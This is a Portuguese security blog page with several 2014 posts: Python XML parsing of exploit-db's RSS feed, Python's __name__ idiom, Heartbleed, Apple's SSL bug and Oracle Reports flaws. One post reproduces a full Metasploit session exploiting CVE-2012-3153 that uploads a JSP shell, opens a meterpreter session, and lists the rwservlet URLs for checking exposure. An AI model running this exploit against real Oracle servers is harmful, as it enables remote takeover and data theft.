segunda-feira, 25 de agosto de 2014

XML MiniDom parsing using Python 3

Ae cambada! Essa postagem é pra mostrar como funciona o XML parse usando o python3 (não tem muita diferença para as versões inferiores). Se nunca leu nada sobre xml parsing, fica tranquilo que agora vai manjar pelo menos como funciona e os conceitos básicos para a manipulação.

Para essa função o python agrega um módulo chamado MiniDOM (Minimal Document Object Model). Ele tem uma função bem simples de fazer o parse, manja o módulo HTMLParser? Já? Então, é quase a mesma coisa, do mesmo que html tem suas estruturas de marcações:

<!DOCTYPE html>
<html>
<head>
  <title>Slayer Owner</title>
</head>
<body bcolor='black'>
  <h1 style='text-align:center'>Security Analysis</h1>
  <pre> I'm listen Megadeth right now! :)</pre>
</body>
</html>

O XML segue quase o mesmo, a diferença é que xml não segue um padrão de tag, vai do gosto de quem está criando e óbvio que se quiser manipular-los terá que saber de suas estruturas.
A estrutura hierárquica, comumente são elementos(tags) dentro de outros elementos, por exemplo:

<?xml version="1.0"?>
<google> <!-- Elemento Google -->
  <blogger> <!-- Elemento blogger dentro do elemento Google-->
    <title>Blogspot</title> <!-- Tag title dentro do blogger-->
    <author>Slayer Owner</author> <!-- Tag author dentro do blogger-->
    <url>slayerowner.blogspot.com.br</url> <!-- Tag url dentro do blogger-->
    <gender>Security & Programming</gender> <!-- Tag gender dentro do blogger-->
  </blogger> <!-- Termina o elementro Blogger-->
</google> <!-- Termina o primeiro elemento: Google-->
<!-- Logo, termina o script XML-->

Na primeira linha temos a declaração do XML e a versão sendo utilizada, pós a declaração seguem os elementos, é como um HTML, abriu <TAG>, fechou </TAG>. Um caso de curiosidade, CDATA é para escapar dos caracteres especiais convertidos para html entity. Exemplo:

<![CDATA[slayer > metallica ]]>
O output vai disso vai ser...
slayer > metallica

Fora o CDATA, o output ficaria..
slayer &gt; metallica

Qualquer coisa só dar uma lida sobre html entities.
Aproveite pra analisar o rss.xml (http://www.exploit-db.com/rss.xml) do exploit-db, logo criar uma ferramenta bem babaquinha pra poder pegar o esquema de xml parsing.
Um exemplo de como funciona o parse xml:
    import libs
    rss_xml = 'rss.xml'
    parse_xml = parseString(rss_xml.read())
    parse_xml[ 
      parse_xml.channel[
        channel.item[
           <title>
           [webapps] - D-Link AP 3200 Multiple Vulnerabilities
           </title>
           <link>http://www.exploit-db.com/exploits/34206</link>
           <description>D-Link AP 3200 Multiple Vulnerabilities</description>
           <category>webapps</category>
           <pubDate>Wed, 30 Jul 2014 00:00:00 +0000</pubDate>
           <guid isPermaLink="false">edb-34206</guid>
         ]
        ]
       ]
2* rss_xml é uma variável que recebeu a source do rss.xml
3* a variável passa à ser possível ser manipulada, podendo ser filtrado qualquer coisa.
4* parse_xml se passa por rss do rss.xml, em outras palavras, ela ganha todos os elementos, tags e etc.. tudo que contém dentro da tag <rss>, observa que dentro da tag dela, está alocada todas as outras..
<rss xmlns
bla bla bla
....
bla bla bla
</rss>

5* "parse_xml.channel" quer dizer que channel está dentro de parse_xml (ressaltando que parse_xml é a tag rss). O que você consegue dentro da channel?

+------------------RSS-------------------------+
| +---------------- Channel------------------+ |
| |        +-------------Item-------------+  | |
| |        |                              |  | |
| |        |            <title>           |  | |
| |        |            <link>            |  | |
| |        |            <desc>            |  | |
| |        |                              |  | |
| |        +-------------Item-------------+  | |
| +---------------- Channel------------------+ |
+------------------RSS-------------------------+
6* Visualizou o esboço, já manja como acontece? Para cada elemento ser filtrado, tem que tornar-lo visível. Ou seja, pra dar o print() no <title> tem que declarar o Rss, Channel e Item, que através do item você consegue puxar as informações.

Primeiro pegaremos a source com o python, que não é nenhum bixo de sete cabeças e logo de cara já sabe que iremos precisar de fazer um request http e de uma lib que manipule o xml pra facilitar a vida, que é o xml.dom (e se não tiver? acho que usar o regex seria uma boa opção, porém para o script ser "bonitinho", com algumas criações de "libs caseiras", seria bem legal também).

import urllib.request
rss_xml = urllib.request.urlopen('http://www.exploit-db.com/rss.xml')
source_xml = parseString(source_xml.read())

Palavras do próprio python.org, diz que este módulo não é seguro, mas como é para uma ferramenta de verificação de updates atráves da source, apenas filtrando strings esta tranquilo... não teremos problemas com WAF.

from xml.dom.minidom import parseString

Pra você ter uma pequena ideia do que está sendo feito, crie um arquivo txt ou xml, ou melhor, salve como xml o "rss.xml" na desktop, importe os modules e olhe o exemplo adicionando:

edb_rss = source_xml.getElementsByTagName('rss')[0]#.toxml()
#print(edb_rss)
"""
Se descomentar e deixar como comentário toda a linha de baixo, 
perceba que irá retornar o valor completo do arquivo XML.
"""
channel_tag = edb_rss.getElementsByTagName('channel')[0]
item_tag = channel_tag.getElementsByTagName('item')[0]
title_tag = item_tag.getElementsByTagName('title')

for exploits in title_tag:
    print(exploits)


veja o resultado ao rodar o script
clique na imagem para ampliar

Note que foi retornado 11 linhas informando o "DOM Element: title at 0x????". Mas que merda de mensagem é essa? Bem, o DOM é o que já foi dito Document Object Model, o elemento se refere ao DOM, o title seria o nome da tag sendo buscada no xml e o que está em hex, é o valor que faz referência à tag. E aí? Notou como funciona a parada? Vamos fazer o print dos updates então. :)

Ah! Se você entendeu o bug do script, parabéns por pegar o esquema rápido :)
Caso não entendeu o fato do script estar errado deste modo, compreenda o seguinte.. Na linha 16 (na imagem), como lá mesmo já foi explicado o porquê do erro, a outra coisa que irá te ferrar mais pra frente é caso queira puxar apenas 1 linha do update.. tipo de 11 linhas, você quer pegar a linha 5, como vai fazer isso se você não tem o controle do script? Você programou, beleza.. mas não está sabendo manipular-los, além do mais se preferir puxar do source_xml, as demais acima são inúteis.
Para arrumar só seguir o padrão, se o certo é puxar pelo item, então só mudar o source_xml para item_tag.

clique na imagem para ampliar

Já temos o controle dentro do title, o que resta então é filtrar os conteúdos setando pela tag, usando getElementsByTagName, da um ligue:

title = recent_updates.getElementsByTagName('title')[0].firstChild.data
link = recent_updates.getElementsByTagName('link')[0].firstChild.data
pubDate = recent_updates.getElementsByTagName('pubDate')[0].firstChild.data

Agora só fazer um for pra imprimir tudo..

for recent_updates in item_tag:
    title = recent_updates.getElementsByTagName('title')[0].firstChild.data
    link = recent_updates.getElementsByTagName('link')[0].firstChild.data
    pubDate = recent_updates.getElementsByTagName('pubDate')[0].firstChild.data
    print(title+"\n"+link+"\n"+pubDate+"\n")

resultado da execução
clique na imagem para ampliar

Mas eu não curti esse "+0000", ignorei ele utilizando o regex
clique na imagem para ampliar

Já era mano, agora só rodar quando quiser saber se houve update de exploits, lógico isso é para tomar como base um XML parse, ainda da pra adicionar muitas coisas, por exemplo fazer abrir o Link com algum tipo de input, se levar à sério e deixar mais detalhado, adicione um optparse, por aí vai.. só ficar implementando recursos novos e que uma hora o script fica completo.

Quando eu tiver tempo eu libero o script mais completo no GitHub ;)
Valeu por lerem e até a próxima.

segunda-feira, 21 de abril de 2014

__name__ == '__main__'

Para os iniciantes em Python, com certeza já se deparou e ficou curioso o que quer dizer __name__ == '__main__' no final do script, right?
Irei explicar isso na prática... Vamos começar fazendo um simples script (utilizo o Python 3, porque é foda e mais tarde explicarei o porquê).

Abra aí o seu shell e escreva:
cd desktop && mkdir popo && cd popo && echo print (__name__) > slayerowner.py


Agora note que foi criado um simples script .py no diretório popo.
Beleza temos um script, já sabemos que podemos usar ele como programa (executando na linha de comando) ou módulo (fazendo a importação), Executando ele na linha de comando, olhe o que nos dar em retorno..

Assim que executa o script, simplesmente executa e sai normalmente, o que não tem nada de errado.
Se importarmos esse print __name__ para o interpreter, vai imprimir o nome do arquivo.


O __main__ é algo que todo script python quando é executado na linha de comando recebe. Logo então __name__ == '__main__' serve para averiguar se o script está sendo executado na linha de comando ou sendo importado. Agora você se pergunta: "Isso serve pra que cara? 0_o".
Pense em um script com algumas funções no começo dele sendo declarada e logo no meio/final estão usando-os para receber os valores como quisera.


#!/usr/bin/env python

def int(x):
 return x - 9
def float(x):
 return x**5/2
 
print (int(4))
print (float(20))


resultado:
-5
1600000.0

Então aí você pensa: "Mas eu não queria esses valores, quero utilizar as funções na qual está disponível no script". É nessa hora que editamos o script para:

#!/usr/bin/env python

def int(x):
 return x - 9
def float(x):
 return x**5/2

if __name__ == '__main__':
 print (int(4))
 print (float(20))

Nesse estado o resultado da execução vai ser diferente se o __name__ for igual à __main__, ou seja se for executado em linha de comando ou usado como módulo.

segunda-feira, 14 de abril de 2014

Resenha sobre o HeartBleed.

Pois bem, acho que todos já ouviram falar desta tal vulnerabilidade assombrando muitos webadmins e outros responsáveis por segurança na qual utiliza o famoso projeto OpenSSL. Depois dessa enorme repercussão em todo o mundo. Tantos Vulnerability Researcher propuseram de descreverem seu ponto de vista, críticas e comentar sobre a tal falha em seus grandes blogs e Vlogs, como: SecurityAttack, BrasilPentest, 100Security, The Hackers News, Garage4Hackers, Anchisesbr, UnknownSec, Security Affairs, Eli the Computer Guy, NerdAlert, Fierce Outlaws e entre muitos outros quem compartilharam excelentes conteúdos. Enfim, tive a ideia de fazer uma resenha explicando o que compreendo e tenho acompanhado até então, em apenas 1 postagem. Vejamos...

O que é SSL/TLS e como funciona?
O antecessor de TLS, Secure Sockets Layer (SSL = Camada de Sockets Segura). Um protocolo responsável por criptografar dados mantendo então uma segurança de seus dados durante a transferência.
A comunicação entre o cliente e o servidor funciona de uma maneira nada complexo. Sendo o primeiro passo seria a ação daquele que estabelece a conexão TCP, Three-Way Handshake[1]. Então quando o Cliente envia algum pacote (Client: Hello World) para o servidor, o mesmo confirma o recebimento enviando um ACK (é um recibo de recebimento) para o cliente e envia outro pacote (Server: Hello World). Para confirmação, o Cliente também envia o ACK, assim o Servidor envia ao Cliente uma parte pública do certificado digital (Server: x509 certificate > formato padrão para certificados digitais, utilizado no SSL), mantendo consigo a parte privada. O Cliente manda o recibo de confirmação novamente para o Servidor (Client: ACK), então começa o compartilhamento de chaves entre os dois.
Note que o Cliente já obteve sua parte do certificado digital, onde a partir daí ele consegue informações que ele pode usar, dependendo de qual cifra foi estabelecida para o uso entre eles, logo entra em outra fase onde usam um conceito de algoritmos assimétricos para realizar o Shared Key Exchange (Troca de Chave Compartilhada), o que é necessário para fazer o resto da negociação, Encrypted Handshake Message. Nada mais é do que uma amostra de uma mensagem criptografada, para assegurar que as trocas de chaves foram estabelecidas corretamente, para que os dois conseguem ler as mensagens criptografadas. Contudo o tráfego assegurado por SSL acontece logo à seguir, no Application Data, a parte da comunicação segura dos dados, ou seja, as outras ações ocorridas até então é apenas para negociar o protocolo SSL.
Ficando assim[2]:
1 - Three-Way HandShake (SYN, SYN ACK, ACK)
2 - Client Message Package
3 - Server ACK Package
4 - Server Message Package
5 - Client Message Package
6 - Server: x509 Certificate
7 - Client ACK
8 - Shared Key Exchange
9 - Encrypted Handshake Message
10 - Application Data

O HeartBleed, é uma vulnerabilidade extrema ocorrida no openSSL.
"Essa fraqueza permite roubos de informações protegidas, dentro de suas condições normais, pela criptografia SSL/TLS, usada pra proteger a Internet. SSL/TLS fornece comunicação de segurança e privacidade por toda Internet tais como web, email, mensagem instantânea (IM) e alguns VPNs 
 O Bug Heartbleed permite qualquer um da Internet, ler a memória do sistema protegida pela versão vulnerável do OpenSSL. Que compromete as chaves secretas usadas para identificar os fornecedores de serviços e para criptografar o tráfego, os nomes e senhas de usuários e o conteúdo atual. Permite os atacantes espionar as comunicações, roubar informações diretamente dos serviços e os usuários e para representar usuários e serviços" - [3]
Interpretando bem o texto, sabemos que não é apenas uma página web que possa estar vulnerável, entre tanto qualquer outro aplicativo, até mesmo os App para mobiles também podem estar correndo um grande riscos, é isso mesmo produção? Sim, Slayer! Fora inúmeros websites e empresas, tais como: Facebook, Google, Yahoo, Cisco, FIFA, DropBox e etc. Temos fontes de outros acontecimentos peculiares em relação à isso. Por exemplo:

1- No Canada, hackers exploraram 'confirmados' 900 cidadãos e um X número não confirmados de empresas. O 'Canada Revenue Agency' (CRA) foi notificado pelo Governo de maliciosa violação dos dados contribuintes que ocorreram ao longo do período de 6 horas.[4]

2- Google afirma que Mobiles e Tables com seu sistema operacional também estão em risco, porém com a correção já criada, ainda precisam fazer algo para dispositivos que não podem executar versões superiores do OS[5], Nisso também incluia o BlackBerry (BBM), o famoso aplicativo para sistemas Android e iOS.[6]

3- Um dos líderes entre jogos de tiro/ação 'Call of Duty: Black Ops II' e outro jogo MMORPG também da Steam 'South Park: The Stick of Truth', tiveram o título editado para a seguinte frase: 'Valve please reset all partner logins because heartbleed' (Valve, favor resetar todos os logins de parceiros por causa do Heartbleed). Próprios usuários procuraram algumas soluções relacionados à Ubsoft e Obsidian da Steam e mudaram o título em esperança de uma rápida correção vinda da Valve. Enquanto a Ubsoft e a Obsidian não comentaram nada sofre o problema, a Valve avisou que o problema já foi corrigido e sugestão para alteração de senha e reiniciar o Steam Guard, como prevenção.

NSA, o pai da humildade e disciplina, não querendo ficar de fora (lógico né), afirma ter explorado esta vulnerabilidade nos últimos 2 anos. (True or False?)
Whatever, o c0der Alemão quem cometeu o erro, Robin Seggelmann, disse que "infelizmente", o bug que apresentou a falha passou por ele e por um revisor quando foi introduzido para o protocolo de criptografia OpenSSL fonte aberta há mais de dois anos.

"Eu estava trabalhando para melhorar o OpenSSL e apresentado inúmeras correções de bugs e adicionado novas funcionalidades...
 [...] Em um dos novos recursos, infelizmente, eu perdi a validação de uma variável que contém um comprimento." - disse Seggelmann
 Depois ele apresentou o código, para o revisor que aparentemente também não notou a falta validação,
"Então o erro fez o seu caminho do ramo de desenvolvimento para a versão lançada." 
Os registros mostram que revisor foi o Stephen Henson. Seggelmann disse que o erro que ele apresentou foi "trivial", mas reconheceu que seu impacto foi "grave".

O que é OpenSSL e qual versão são afetadas?
É um software open source que facilita a comunicação dentre Protocolo SSL.
[7]
A implementação do OpenSSL estão presentes em servidores rodando Apache e Nginx. Infelizmente, permanece de Apache, o servidor web dominante hoje com mais de metade dos sites ativos da internet executando nele e nginx tem sobre outro 14%[8]
De fato, o bug Heartbleed surgiu em Dezembro de 2011[9], afetando a versão 1.0.1, na qual foi lançada em Março de 2012 atráves do 1.0.1f (6 Jan, 2014).
E se você rodar uma versão beta do OpenSSL 1.0.2, também estará vulnerável, ou seja, se você estive fazendo "a coisa certa" e manter suas versões até à data, está vulnerável. Acha mesmo que mantendo seu servidor atualizado estará fora de questão? Adotando a questão... Realmente teria ele esperado mais do que dois anos?

É somente sites sobre Apache e nginx que são afetados?
Não são todos os servidores web quem são dependentes de OpenSSL, por exemplo o IIS, utiliza Schannel da Microsoft, na qual não é encontrado o Bug. Isso quer dizer que uma grande parte não é vulnerável, e não que nenhuma seja, pois pode haver OpenSSL dentro da fazenda de servidores.

Quem encontrou e por que torná-la pública?
A primeira evidência pública do bug apareceu como um Conselho Consultivo OpenSSL em 7 de abril e adverte para "A falta dos limites check-in na manipulação da extensão TLS heartbeat". O bug foi descoberto e relatado por Neel Mehta da Google segurança e, simplesmente, afirma as versões impactadas e recomenda a atualização OpenSSL ou se isso não for viável, recompilá-lo e desabilitar os heartbeat.

O que é Heartbeat?
Vamos primeiro entender a característica que esse bug fez sua maneira. O bug que existe na implementação do OpenSSL a extensão do Heartbeat, uma característica descrita pelo IETF[10]

A extensão de Heartbeat fornece um novo protocolo para TLS/DTLS permitindo o uso da funcionalidade keep-alive sem executar uma renegociação e uma base para a descoberta do caminho MTU (PMTU) para DTLS.

 Quando eles ainda estão lá, õ heartbeat mantém o contexto entre os peers alive, portanto, a nomenclatura "keep-alive". No contexto de SSL, a negociação inicial entre o cliente e o servidor tem uma sobrecarga de comunicação que o heartbeat ajuda a evitar a repetição, estabelecendo-se o ponto é "alive". Sem o heartbeat, a única maneira de fazer isso é pela renegociação, que, em termos relativos, é caro.

Como o risco é explorado? E como isso foi corrigido?
Há abundâncias de provas de conceitos por toda internet, o que já não é tanta novidade assim, porém um exemplo que recentemente eu à tinha visto, é o exemplo de Rahul Sasi do Garage4Hackers, explicando o script vulnerável,  a correção quem ele tem desenvolvido para o teste do bug.[11]

Como sabe se um site é vulnerável?
A maneira mais fácil de testar isso remotamente é saltar para a página de teste Heartbleed criada por Filippo Valsorda. Um site vulnerável parecido com este:

[Imagem retirada do Blog: ClickSSL]

 OpenSource não é seguro, então porque demorariam 2 anos para encontrarem a falha?
Em termos, pode-se dizer que softwares OpenSource, sim é seguro. Pois assim a comunidade poderá analisar e identificar os erros mais cedo. OpenSSL project no GitHub tem mais de 10.000 confirmações abrangendo 21 colaboradores e 25 filiais todo 57MB de código-fonte. Não é grande, mas há o suficiente lá dentro e o bug é bastante obscuro em retrospectiva que passou despercebido até agora.


Referências:
[1] http://andreysmith.wordpress.com/2011/01/02/three-way-handshake/
[2] https://tools.ietf.org/html/rfc5246
[3] http://heartbleed.com/
[4] http://www.cra-arc.gc.ca/gncy/sttmnt2-eng.html
[5] http://googleonlinesecurity.blogspot.co.uk/2014/04/google-services-updated-to-address.html
[6] http://btsc.webapps.blackberry.com/btsc/viewdocument.do;jsessionid=5893087B0890E66745D0A2187EBB2FF1?externalId=KB35882
[7] http://news.netcraft.com/archives/2014/04/08/half-a-million-widely-trusted-websites-vulnerable-to-heartbleed-bug.html
[8] http://news.netcraft.com/archives/2014/04/02/april-2014-web-server-survey.html
[9] http://git.openssl.org/gitweb/?p=openssl.git;a=commit;h=4817504d069b4c5082161b02a22116ad75f822b1
[10] https://tools.ietf.org/html/rfc6520
[11] http://www.garage4hackers.com/entry.php?b=2551

terça-feira, 25 de fevereiro de 2014

Apple - SSL/TLS Bug Fixed #InfoSec

OBS: Primeiro paragrafo é um agradecimento, quer ir direto para o assunto, pule e leia o Segundo paragrafo.

Não sou de ficar com blá blá blá nas minhas postagens, mas agradeço muito a força da Brasil Pentest por ter divulgado minha page no facebook, duvido muito que vocês não conheçam mas, caso não, o site é brasilpentest.com dê uma visitada que os conteúdos são ótimos! E outra pessoa a quem quero os agradecer, é você, leitor, que o acompanha ( e espero que continue ) e os novos convidados pela Brasil Pentest, se você já leu outras postagens minhas sabe que está é a única melosa e fiquei enrolando pra começar o que eu realmente tenho que postar. Antes de começar quero deixar claro que minha demora de postagem é meu tempo e que estou escrevendo um Paper, não vou falar sobre o que é, mas acho que vai ajudar muito vocês, principalmente os programadores que segue a ideia Ethical Hacking, agora se for é 'kiddie', sinto muito. Mas beleza, se está lendo a culpa não é minha, só bastava pular este paragrafo. :)


Fiquei uns tempos sem postar nada, mas eu fiquei ligado nos assuntos rapazes, vi hoje de tarde afirmando que o BUG da Apple foi fixed, corrigida. Tecnicamente, a falha foi descoberta no iOS, lançada na sexta feira passada a versão 7.06 (Suporte Apple Security) que era para corrigir a falha de segurança MITM (Man-In-The-Middle). Se já conhece o conceito desta falha, saberá que é referente à uma falha onde o atacante consegue interceptar o dado e fazer aquilo que está ao seu alcance, certo? É exatamente isto, a falha permite o atacante dentro da rede de seu alvo não apenas ler os dados de sessões privilegiadas e protegidas por SSL/TLS, mas como bônus de alterar-los também. O que surpreende é que pós fazer aquela análise toda no patch, foi confirmado que a falha afeta também o Mac OS-X até a versão 10.9.1.

Adam Langley, foi quem averiguou o script e detectou a brecha. Segundo suas palavras a falha reside em um par de falhas em uma fileira.

"Esta verificação de assinatura está verificando a assinatura em uma mensagem ServerKeyExchange. Isso é usado em ciphersuites DHE e ECDHE para comunicar a chave efêmera para a conexão. O servidor está dizendo 'aqui está a chave efêmera e aqui é uma assinatura, do meu certificado, então você sabe que é de mim"
"Agora, se a ligação entre a chave efêmera e a cadeia do certificado está quebrada, então tudo se desmorona. É possível enviar uma cadeia de certificado correto para o cliente, mas assinar o aperto de mão com a chave privada errada, ou não assiná-lo em tudo! Não há nenhuma prova de que o servidor possui a chave privada correspondente a chave pública no seu certificado". Langley ainda afirma mostrar aos usuários Mac OS X, se suas máquinas estão realmente vulneráveis.

"Porque a cadeia do certificado está correta e é o link a partir do aperto de mão para essa corrente que está quebrado, não acredito que qualquer tipo de fixação de certificado impediria isso. Também, isto não só afeta sites usando DHE ou ECDHE ciphersuites – o atacante pode escolher a ciphersuite neste caso e escolherá o que funciona para eles", disse de Langley.


Houve também suposta confirmação dos Security Professional CrowdStrike que também analisaram o script, diz que a falha é provável em qualquer site protegidos por SSL ou serviços webmail.

Devido a uma falha na lógica de autenticação nas plataformas dos X e iOS, um invasor pode contornar as rotinas de verificação de SSL/TLS sobre o handshake de conexão inicial. Isso permite que um adversário disfarçar-se como provenientes de um ponto de extremidade remoto confiável, tais como seu provedor de webmail favorito e executar completa intercepção de tráfego criptografado entre você e o servidor de destino, bem como dar-lhes uma capacidade para modificar os dados de vôo (tais como entregar façanhas para assumir o controle do seu sistema)", afirma o grupo CrowdStrike.

Agora a boa notícia aos usuários da Apple, é que hoje foi lançado a atualização que corrige a falha de validação de certificado no seu sistema OS X Mavericks, versão 10.9.2
Levantando ao fato de que a validação de certificado não é a correção de segurança único emitida pela Apple hoje, que é conhecida por publicar atualizações de segurança longa e pedante. Outras atualizações incluem correções para:


  • um número de vulnerabilidades de Apache; 
  • um problema de corrupção de memória relacionado com a manipulação de fontes type 1; 
  • alguns aplicativos de areia ignora; 
  • o sistema de certificados de raiz;
  • um estouro de buffer que poderia permitir execução de código arbitrário em CoreAnimation; 
  • um problema de sinal na manipulação do CoreText de fontes unicode que poderia levar à execução de código arbitrário ou encerramento inesperado do aplicativo;
  • uma interceptação de credencial para alguém usando curl para se conectar a uma URL HTTPS que contém um endereço IP; 
  • um bug que poderia permitir que um invasor assuma o controle do relógio do sistema; 
  • um problema no finder que poderia permitir acesso não autorizado a determinados arquivos; 
  • um problema de vazamento de memória estimulado pelas JPEGs criados maliciosamente; 
  • um problema com os drivers da NVIDIA através do qual a execução de um aplicativo malicioso pode resultar na execução de código arbitrário dentro da placa de vídeo; 
  • múltiplas vulnerabilidades PHP; 
  • um bug livre duplo que existiam em QuickLook que poderia ser explorada para ocasionar um encerramento inesperado do aplicativo ou a execução arbitrária de código se um invasor dowloaded um documento do Microsoft Word criado maliciosamente; 
  • um punhado de bugs do QuickTime que poderia levar ao encerramento do aplicativo ou a execução de código arbitrário; 
  • e um montão de problemas que afetam os usuários que ainda não atualizou para a mais recente iteração de Mavericks dos X.
Para todo o entendimento, pode-se conferir aqui: http://support.apple.com/kb/HT6150

domingo, 16 de fevereiro de 2014

[CVE-2012-3153] Verifique se seu Oracle está vulnerável #InfoSec

Eae Geeks, tenho alguns artigos como rascunho e preciso terminar-lo, alguns são tão antigos que nem vou postar-los mais. Mas enfim, esta postagem será à respeito da Vulnerabilidades em Oracle Server, na qual foi assunto da postagem anterior.


A partir deste interessante tweet, decidi compartilhar-lo no meu blog também. O link do tweet o levará à postagem original.

Dana Taylor, a mesma quem reportou a crítica falha do servidor Oracle, fez uma interessante postagem mostrando como verificar se esta falha afeta no seu Oracle. Para isso foi usado um módulo do Metasploit.
Referência: https://github.com/rapid7/metasploit-framework/pull/2931

Resultado da ação:

msf > use exploit/multi/http/oracle2
msf exploit(oracle2) > set RHOST xp
RHOST => xp
msf exploit(oracle2) > set RPORT 8889
RPORT => 8889
msf exploit(oracle2) > set TARGET 1
TARGET => 1
msf exploit(oracle2) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(oracle2) > check
[+] xp:8889 – Windows install detected
[*] xp:8889 – Path: DevSuiteHome_1/reports/j2ee/reports_ids/web
[+] xp:8889 – URLPARAMETER is vulnerable
[*] xp:8889 – The target appears to be vulnerable.
msf exploit(oracle2) > exploit
[*] xp:8889 – Querying showenv!
[*] Started bind handler
[+] xp:8889 – Query succeeded!
[*] xp:8889 – Windows install detected
[*] xp:8889 – Path: DevSuiteHome_1/reports/j2ee/reports_ids/web
[*] xp:8889 – Hosting payload locally …
[*] Using URL: http://0.0.0.0:8080/E7cCTp
[*] Local IP: http://192.168.1.91:8080/E7cCTp
[*] Server started.
[*] xp:8889 – Building JSP shell …
[*] xp:8889 – Adjusting shell due to payload size
[*] xp:8889 – Uploading payload …
[+] xp:8889 – Payload hopefully uploaded!
[*] xp:8889 – Our payload is at: /reports/images/kCHVUBiBzflwILK.jsp
[*] xp:8889 – Executing payload…
[+] xp:8889 – Payload executed!
[*] Sending stage (769024 bytes) to xp
[*] Meterpreter session 1 opened (192.168.1.91:53796 -> 192.168.1.102:4444) at 2014-02-16 12:22:22 -0500
[*] Server stopped.
meterpreter > getuid
Server username: XP\IEUser

Entre na URL na qual foi testada para averiguar a falha, neste caso...
http://xp:8889/reports/rwservlet/showjobs

Atrávez do 'showjobs', será mostrado as últimas 1000 ações realizadas (Clique na imagem para melhor visualização):

Analisou bem a imagem? Note que o OutputName do JobID 133, perceba que é a mesma URL mostrada pelo Metasploit na ação de upload do payload. Vendo mais afundo, observe as seguintes IDs 132 e 133:

http://xp:8889/reports/rwservlet/getjobid132

http://xp:8889/reports/rwservlet/getjobid133


No ID 132, significa que está sendo checado se o URLPARAMETER está vulnerável, caso esteja, será feito o upload do PAYLOAD ( neste caso, é o que mostra o Get Job ID 133). Então já sabe, se isto apareceu para você significa que sua database está vulnerável.

domingo, 2 de fevereiro de 2014

Vulnerabilidades em Oracle Server


Há mais de 2 anos foi afirmado duas críticas vulnerabilidades contidas no servidor Oracle. Falhas que afetam pacotes antigos do Banco de Dados do Oracle, que libera ao atacante acessar remotamente um mecanismo de autenticação passando pelo servidor. Se o atacante explorar bem as falhas o atacante consegue navegar tranquilamente no sistema de todos os arquivos do servidor.
Mesmo a falha tendo sido passada para que possam ser fixados, não tomaram nenhuma providência quanto à isto. Dana Taylor reportou uma falha na autenticação que afeta o Oracle Form e os Reports 10g e 11g. Nesta falha, sem autenticação, dará ao atacante a total passagem para que possa conseguir a lista de senhas da DB, essa possibilidade de acesso também inclui na antiga falha. À respeito destas graves falhas sendo capaz de ser afetado também pela falha antiga o que a Oracle afirma é ter ocorrido algum erro de configuração. Agora com esta nova falha, ainda mais grave permitindo bem mais privilégios, na qual permite visualizar e copiar o sistema de arquivos do servidor, qualquer arquivo que a Oracle conta pode acessar e executar outras operações no servidor e rede de despejo. Também neste caso o pesquisador informou que a falha para Oracle, que mais uma vez rejeitado é como um erro de configuração.

"Como você pediu, revimos seu relatório original e teve discussões adicionais com nosso grupo de desenvolvimento. Concluímos que esta questão de fato constituem uma vulnerabilidade," - Responde Oracle

Quando de fato, Taylor disse que iria divulgar as falhas, Oracle finalmente aceitou possuir uma falha e dentro de menos de 1 ano, lançaram uma atualização, porém... ainda não corrige as vulnerabilidades.


"Sim, absolutamente. Quando eu relatei a vulnerabilidade analisada consulta disseram que não era uma vulnerabilidade, mas um erro de configuração. Então contei-lhes tudo bem, então eu vou publicar isso. Eles voltaram no mesmo dia e afirmarando que na verdade, 'é uma vulnerabilidade' e me deu um número de rastreamento. Do que eu posso dizer, eles realmente não corrigiram esta vulnerabilidade mas é ofuscado, instruindo os clientes para desativar "saída de diagnóstico". Eu testei isso em seu mais recente lançamento de relatórios Weblogic/Oracle 11g. A vulnerabilidade existe ainda. Alguns clientes podem não ser capazes de desabilitar a saída de diagnóstico para uma razão ou outra e ainda podem estar vulneráveis. E para esclarecer, isso não afeta apenas 11g mas 9i para 11g," - disse Dana Taylor.

Atualização lançada, patch 11.x propondo soluções alternativas simples para versões mais antigas, sugerindo que clientes atualizar para versões mais recentes, a fim de se protegerem. Logo após que Taylor publicou um POC sobre as vulnerabilidades outros especialistas de segurança focado seus esforços para demonstrar as repercussões para os aproveitamentos das falhas, o pesquisador mencionou alguém que lhe enviou um vídeo que mostra um ataque usando baseia o utilizado de Shodan motor de busca para encontrar servidores vulneráveis e recuperar senhas.


"O autor do exploit e vídeo acima foi brilhante, mas ele me colocou em estado de choque ao ver o real impacto dessas vulnerabilidades em tão grande escala. Eu não queria liberar esses exploits e estava sob grande aflição em pensar nisso. Eu senti que eu não tive escolha, no entanto. Para "ver este vídeo não colocou um sorriso na minha cara mas me fez ciente de quão devastador essas vulnerabilidades são na verdade servidores Oracle frequentemente possuem chaves SSH que permitam o compartilhamento de dados entre outros servidores Oracle confiáveis e não exigem nenhuma senha. Então, se você quebrar em um servidor Oracle em uma rede é provável capaz de quebrar em inúmeros outros. Para Windows servidores explorando 'passar os ataques hash' estão sendo discutidos. Outra coisa que é assustador é que, uma vez que você ganhar um shell remoto em um servidor Oracle você pode usar sqlplus.sh /nolog para obter privilégios sysdba para o banco de dados." - Taylor.